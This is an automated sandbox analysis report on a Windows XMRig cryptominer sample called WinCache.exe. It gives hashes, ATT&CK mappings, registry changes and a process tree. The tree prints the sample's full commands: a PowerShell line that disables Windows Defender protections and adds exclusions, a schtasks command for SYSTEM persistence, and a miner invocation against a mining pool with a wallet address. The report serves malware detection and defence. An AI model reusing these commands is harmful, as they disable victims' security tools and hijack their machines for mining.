xmrig | 86f2102b23d572c9e9a3a8bad6087662b90e7543896a5b9f706c15ccca8d5792

Analysis

user interaction
yes
max time kernel
899s
max time network
895s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
19/08/2026, 12:10

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General

Target
WinCache.exe
Size 10.7MB
Sample260819-pcdstaap4v
SHA256 86f2102b23d572c9e9a3a8bad6087662b90e7543896a5b9f706c15ccca8d5792
MD5 77c1b815008321c67568b4390dd1432e
SHA1 efc3c757dbf86f86ba90f973c0c42352abc9dbb1
SHA512 de370f52387009043e3296e648395b8531467fa037c0e0837d0f6de2b4b9dee98a7f7a2b9d93ba16823fac97ead9c17baf889cf0cb2444c1d21d6f8fff7212c6
SSDEEP 196608:1batgCLp70Cr0qWOJeuR7kBJjnIXZBEfGg68iC/KBj:1Twd0iQnIjvg68iCSBj
TLSH
T1DEB6DFF721CA4671D2D3833A85536633F9635E41CA40DC236DF69E35160A1E8BB2BADC
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution xmrig miner persistence trojan

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Modifies Windows Defender Real-time Protection settings 3 TTPs 12 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	WinCache.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	WinCache.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	WinCache.exe

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral1/memory/5184-25-0x0000000140000000-0x000000014090D000-memory.dmp	xmrig
behavioral1/memory/5184-37-0x0000000140000000-0x000000014090D000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4360	powershell.exe
4832	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5424	WinCache.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShizoWorker = "\"C:\\ProgramData\\WinCache\\WinCache.exe\""	WinCache.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShizoWorker = "\"C:\\ProgramData\\WinCache\\WinCache.exe\""	WinCache.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShizoWorker = "\"C:\\ProgramData\\WinCache\\WinCache.exe\""	WinCache.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShizoWorker = "\"C:\\ProgramData\\WinCache\\WinCache.exe\""	WinCache.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 4652 set thread context of 5184	4652	WinCache.exe	101
PID 4652 set thread context of 4756	4652	WinCache.exe	102
PID 4652 set thread context of 3204	4652	WinCache.exe	103
PID 5424 set thread context of 556	5424	WinCache.exe	104
PID 5424 set thread context of 4008	5424	WinCache.exe	105
PID 5424 set thread context of 6088	5424	WinCache.exe	106

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
464	schtasks.exe
3456	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4360	powershell.exe
4360	powershell.exe
4832	powershell.exe
4832	powershell.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
3204	wermgr.exe
6088	wermgr.exe
6088	wermgr.exe
6088	wermgr.exe
6088	wermgr.exe
6088	wermgr.exe
6088	wermgr.exe
6088	wermgr.exe
6088	wermgr.exe
6088	wermgr.exe
6088	wermgr.exe
6088	wermgr.exe
6088	wermgr.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4360	powershell.exe
Token: SeDebugPrivilege	4832	powershell.exe
Token: SeLockMemoryPrivilege	5184	wermgr.exe
Token: SeLockMemoryPrivilege	5184	wermgr.exe
Token: SeLockMemoryPrivilege	556	wermgr.exe
Token: SeLockMemoryPrivilege	556	wermgr.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
5184	wermgr.exe
556	wermgr.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4652 wrote to memory of 4100	4652	WinCache.exe	87
PID 4652 wrote to memory of 464	4652	WinCache.exe	89
PID 4652 wrote to memory of 4360	4652	WinCache.exe	91
PID 5424 wrote to memory of 6004	5424	WinCache.exe	95
PID 5424 wrote to memory of 3456	5424	WinCache.exe	97
PID 5424 wrote to memory of 4832	5424	WinCache.exe	99
PID 4652 wrote to memory of 5184	4652	WinCache.exe	101
PID 4652 wrote to memory of 5184	4652	WinCache.exe	101
PID 4652 wrote to memory of 4756	4652	WinCache.exe	102
PID 4652 wrote to memory of 4756	4652	WinCache.exe	102
PID 4652 wrote to memory of 3204	4652	WinCache.exe	103
PID 4652 wrote to memory of 3204	4652	WinCache.exe	103
PID 5424 wrote to memory of 556	5424	WinCache.exe	104
PID 5424 wrote to memory of 556	5424	WinCache.exe	104
PID 5424 wrote to memory of 4008	5424	WinCache.exe	105
PID 5424 wrote to memory of 4008	5424	WinCache.exe	105
PID 5424 wrote to memory of 6088	5424	WinCache.exe	106
PID 5424 wrote to memory of 6088	5424	WinCache.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\WinCache.exe
"C:\Users\Admin\AppData\Local\Temp\WinCache.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4652
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Delete /TN "ShizoWorker" /F
  2⤵
  PID:4100
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /Create /F /TN "ShizoWorker" /TR "\"C:\ProgramData\WinCache\WinCache.exe\"" /SC ONSTART /RU SYSTEM /RL HIGHEST /DELAY 0000:30
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\WinCache'; Add-MpPreference -ExclusionProcess 'wermgr.exe'; Set-MpPreference -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableBlockAtFirstSeen $true -DisableScriptScanning $true -EnableNetworkProtection Disabled -SubmitSamplesConsent 2"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4360
- C:\Windows\System32\wermgr.exe
  "C:\Windows\System32\wermgr.exe" -o pool.hashvault.pro:443 -u 42q35emXjZg54YjLj7Zqkh8KhJzbWPirNCbSzzygRKFmcjZJnAKHUdKQ7MCCaEjoydZfDUJ8cdCrp6FaQaFx2Gf9Uz4ftDy -p ShizoWorker --cpu-max-threads-hint=70 --cpu-priority=3 --randomx-wrmsr=-1 --tls --randomx-no-rdmsr -k --coin XMR -a rx/0 --log-file C:\Windows\Temp\xmrig.log
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:5184
- C:\Windows\System32\wermgr.exe
  "C:\Windows\System32\wermgr.exe" 5184 C:\ProgramData\WinCache\WinCache.exe C:\Windows\System32\wermgr.exe
  2⤵
  PID:4756
- C:\Windows\System32\wermgr.exe
  "C:\Windows\System32\wermgr.exe" 5184 4756
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3204

C:\ProgramData\WinCache\WinCache.exe
"C:\ProgramData\WinCache\WinCache.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:5424
- C:\Windows\system32\schtasks.exe
  schtasks.exe /Delete /TN "ShizoWorker" /F
  2⤵
  PID:6004
- C:\Windows\system32\schtasks.exe
  schtasks.exe /Create /F /TN "ShizoWorker" /TR "\"C:\ProgramData\WinCache\WinCache.exe\"" /SC ONSTART /RU SYSTEM /RL HIGHEST /DELAY 0000:30
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\WinCache'; Add-MpPreference -ExclusionProcess 'wermgr.exe'; Set-MpPreference -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableBlockAtFirstSeen $true -DisableScriptScanning $true -EnableNetworkProtection Disabled -SubmitSamplesConsent 2"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4832
- C:\Windows\System32\wermgr.exe
  "C:\Windows\System32\wermgr.exe" -o pool.hashvault.pro:443 -u 42q35emXjZg54YjLj7Zqkh8KhJzbWPirNCbSzzygRKFmcjZJnAKHUdKQ7MCCaEjoydZfDUJ8cdCrp6FaQaFx2Gf9Uz4ftDy -p ShizoWorker --cpu-max-threads-hint=70 --cpu-priority=3 --randomx-wrmsr=-1 --tls --randomx-no-rdmsr -k --coin XMR -a rx/0 --log-file C:\Windows\Temp\xmrig.log
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:556
- C:\Windows\System32\wermgr.exe
  "C:\Windows\System32\wermgr.exe" 556 C:\ProgramData\WinCache\WinCache.exe C:\Windows\System32\wermgr.exe
  2⤵
  PID:4008
- C:\Windows\System32\wermgr.exe
  "C:\Windows\System32\wermgr.exe" 556 4008
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6088

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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WinCache.exe

Path C:\ProgramData\WinCache\WinCache.exe
Size 10.7MB
SHA256 86f2102b23d572c9e9a3a8bad6087662b90e7543896a5b9f706c15ccca8d5792
MD5 77c1b815008321c67568b4390dd1432e
SHA1 efc3c757dbf86f86ba90f973c0c42352abc9dbb1
SHA512 de370f52387009043e3296e648395b8531467fa037c0e0837d0f6de2b4b9dee98a7f7a2b9d93ba16823fac97ead9c17baf889cf0cb2444c1d21d6f8fff7212c6
SSDEEP 196608:1batgCLp70Cr0qWOJeuR7kBJjnIXZBEfGg68iC/KBj:1Twd0iQnIjvg68iCSBj
TLSH
T1DEB6DFF721CA4671D2D3833A85536633F9635E41CA40DC236DF69E35160A1E8BB2BADC
MD5 SHA1 SHA512 SSDEEP TLSH

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 3cb0b2ad2e05c240b87ffd6100c8debafc5db19e9299e9628ee691d807021bcb
MD5 fbec078bcac1f75d8cc38abc800a5be9
SHA1 187624407481d46a8c1fcdbf0bbde9d7f569e5a3
SHA512 e74de037bf1d3a2ce2e735d0a1d84886266f95498ad11f88ce54843bfa10ede3f3177a7e46d1da346992ab038e03e787665ab85bbd8b0435547a547ea84fee3d
TLSH
T18F112223F38C8920CC96163A509DAC5172B686CB81AFDF9F7FC0C210E1BF584CB62294
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_35jcn52b.00i.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_35jcn52b.00i.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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xmrig.log

Path C:\Windows\Temp\xmrig.log
Size 646B
SHA256 9212fb609a5df61c9a1bd5cead7291fe9fbe477e3ddfb5ce2764c3ce3c016c6e
MD5 c555827f700e077fe1153f5fc97cb0c0
SHA1 ef38bc5eab53dc0f1712ed1f5aaf4e733eddbcd8
SHA512 063ca9d1807f5f91fa30dcc73a9236ea7efb4a02b0b9ae4c0a275753818b41893b3f32504811e99021210ed13df78574e0346a05dc6950199814012db1f01e37
TLSH
T1A7F04172049F508911FBC0D2F0322A79DE01D44103A2C150F4CE9D8C9F2A8A0BB0BE92
MD5 SHA1 SHA512 TLSH

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memory/3204-79-0x0000000140000000-0x0000000140065000-memory.dmp

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memory/3204-59-0x0000000140000000-0x0000000140065000-memory.dmp

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memory/4360-12-0x000001B7C9020000-0x000001B7C9042000-memory.dmp

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memory/4360-4-0x000001B7C9080000-0x000001B7C9090000-memory.dmp

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memory/4360-3-0x000001B7C9080000-0x000001B7C9090000-memory.dmp

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memory/4652-80-0x00007FF6A83D0000-0x00007FF6A8E42000-memory.dmp

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memory/4756-39-0x0000000140000000-0x000000014006D000-memory.dmp

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memory/4756-58-0x0000000140000000-0x000000014006D000-memory.dmp

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memory/4832-82-0x0000018FEB2D0000-0x0000018FEB4EC000-memory.dmp

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memory/5184-25-0x0000000140000000-0x000000014090D000-memory.dmp

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memory/5184-38-0x0000022D0B170000-0x0000022D0B190000-memory.dmp

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memory/5184-37-0x0000000140000000-0x000000014090D000-memory.dmp

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memory/5424-139-0x00007FF692ED0000-0x00007FF693942000-memory.dmp

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